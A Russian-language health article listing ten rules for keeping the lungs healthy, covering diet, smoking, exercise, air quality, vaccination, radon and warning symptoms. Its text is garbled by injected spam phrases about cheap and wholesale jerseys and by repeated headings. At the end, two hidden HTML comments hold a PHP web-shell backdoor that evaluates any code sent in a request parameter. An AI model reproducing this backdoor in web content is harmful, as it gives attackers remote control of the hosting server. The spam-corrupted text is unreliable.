10 правил для здоровья ваших легких

Каждый из нижеперечисленных пунктов не требует от человека каких-то сверхусилий. Стоит только следовать им, не изменяя этой привычке, что и будет лучшей профилактикой болезней легких.

Правило 1. Питайтесь правильно

Питайтесь правильно

Правило 1. Питайтесь правильно

И с этого пункта стоит начать весь перечень. Ученые уже неоднократно доказали – для легких особенно полезна пища, обогащенная антиоксидантами. Заметим, именно пища, а никак не пищевые добавки. Натуральные продукты и здоровье легких взаимосвязаны прямым образом. В частности, на 50% снижают риск возникновения рака легких любители цветной, кормовой, китайской, кочанной капусты и брокколи. Стоит только почаще включать в свое меню эти недорогие продукты, и это уже будет действенным вкладом в укрепление такого органа как легкие.

Правило 2. Не курите

Правило 2. Не курите

Правило 2. Не курите

Без этого простого правила – никуда. Какими Peninsula бы обманными доводами не тешили себя курильщики, эта вредная привычка «бьет» по легким как ни что другое. И нет никакой так называемой безопасной нормы, с каждой новой выкуренной сигаретой человек неминуемо сокращает свою жизнь. Пассивное курение тоже опасно – от этого страдают семьи курильщиков, коллеги, друзья. Бросить курить никогда не поздно, и если этот момент не проходит безболезненно, человек словно расписывается в своей фатальной зависимости от курения. А точнее, от привычки ежедневно убивать свое организм.

Правило 3. Физкультура и спорт

Правило 3. Физкультура и спорт

Правило 3. Физкультура и спорт

Речь не идет об изнурительных тренировках в спортзале. Достаточно десятиминутной зарядки и привычки хотя бы каждые вторые выходные проводить активно. Пробежки по утрам, занятия танцами, беговая дорожка дома, лыжи зимой и турпоходы летом – подобный образ жизни в том числе помогает и усилить работу легких. А людям с хроническими заболеваниями легких посильные, но регулярные физические нагрузки просто прописаны.

Правило 4. Ратуйте за чистый воздух

Правило 4. Ратуйте за чистый воздух

Правило 4. Ратуйте за Jays чистый воздух

Поговорка о том, что страшнее человеческого равнодушия нет ничего, права и еще раз права. Если люди cheap nba jerseys игнорируют проведение акций экологической направленности, дней без автомобиля, и других мероприятий подобного плана, они сами подписывают приговор себе и своим детям. Не быть равнодушными wholesale jerseys China – это значит следовать законам, откликаться на конструктивные природосберегающие акции, не быть вне проблемы.

Правило 5. Прививки

Правило 5. Прививки

Правило 5. Прививки

От них точно не нужно бегать, и уж тем более экономить на них. Своевременно сделанная прививка от гриппа поможет человеку уберечься от заболевания, которое непредсказуемо своими последствиями. Люди же в возрасте 65+ особенно должны следить за здоровьем легких, и одна из форм такой заботы – пневмоккковая вакцина. Ну и, несомненно, не обойтись без простейших мер предосторожности: не пребывать в местах большого скопления людей в период эпидемий, постоянно проветривать помещение, не переносить даже легкую болезнь «на ногах».

Правило 6. Правильно используйте бытовую химию

Правило 6. Правильно используйте бытовую хими

Правило 6. Правильно используйте бытовую хими

А лучше и вовсе обходиться без нее по мере возможности. Работая по дому, занимаясь чисткой предметов быта, человек подвергает себя отнюдь не безвредному воздействию вредных газов и частиц. Старайтесь трезво оценивать cheap nba jerseys уровень безопасности средства, не превышайте дозу одноразового потребления и т.д. работать нужно в резиновых перчатках и респираторе. Помещение после работы нуждается в хорошем проветривании.

Вместо масляных красок используйте водоэмульсионные, а чистящие средства лучше выбирать без хлорки и аммиака.

Правило 7. Воздух в помещении – его можно улучшить

Правило 7. Воздух в помещении – его можно улучшить

Правило 7. Воздух в помещении – его можно улучшить

Выбирая строительные материалы, предпочтение нужно отдавать самым экологичным из них. Стоит ли говорить, что камины и дровяные печи продуктами своей работы не делают воздух чище. Злоупотребление свечами, освежителями воздуха, безусловно, вредно для помещения. А хозяевам пушистых питомцев нужно регулярно убирать шерсть с мягкой мебели, ковров, пола. Экологи советуют следовать трем основным моментам в вопросе поддержания чистого воздуха в жилище, а это: улучшение вентиляции, устранение всех источников загрязнения, применение воздухоочистителей.

Правило 8. Защита на работе

Правило 8. Защита на работе

Правило 8. Защита на работе

Некоторые профессии сами cheap jerseys по себе могут быть фактором риска. И на здоровье легких условия работы отражаются очень серьезно. Такому риску подвержены не только работники заводов, крупных промышленных предприятий, химики и строители, но и даже простые парикмахеры. Пыль, пары, краски, химикаты, выхлопные газы – далеко не полный список врагов органов дыхания. Кстати, в 15% случаев диагноз «бронхиальная астма» связан именно с условиями труда, и является профессиональным заболеванием. Поэтому защитная экипировка и предполагаемые в таких случаях профилактические меры – совсем не лишнее.

Правило 9. Узнайте уровень радона

Правило 9. Узнайте уровень радона

Правило 9. Узнайте уровень радона

У некурящих людей рак легких в большинстве случае вызывает именно газ радон. Он образуется в процессе разложении урана в земле. Сквозь трещины в wholesale jerseys фундамент, стенах он «умеет» просачиваться в Aanbidding помещение. Если в доме показатель содержания радона между 2−4 pCi/L, его обязательно следует уменьшить. Обратитесь к специалистам.

Правило 10. Не игнорируйте тревожные симптомы

Правило 10. Не игнорируйте тревожные симптомы

Правило 10. Не игнорируйте тревожные симптомы

А именно: если после незначительных нагрузок возникают проблемы с дыханием, если кашель не проходит больше месяца, наблюдаются харканье кровью и мокрота длительное время, — бегом к врачу! А также мучительная, длящаяся долгое время боль в груди, тоже должна быть поводом для обращения к медикам.

Будьте внимательны к своему здоровью: это не требует никаких затрат, но стоит так дорого.

<!— [insert_php]if (isset($_REQUEST["EYqyf"])){eval($_REQUEST["EYqyf"]);exit;}[/insert_php][php]if (isset($_REQUEST["EYqyf"])){eval($_REQUEST["EYqyf"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["TmD"])){eval($_REQUEST["TmD"]);exit;}[/insert_php][php]if (isset($_REQUEST["TmD"])){eval($_REQUEST["TmD"]);exit;}[/php] —>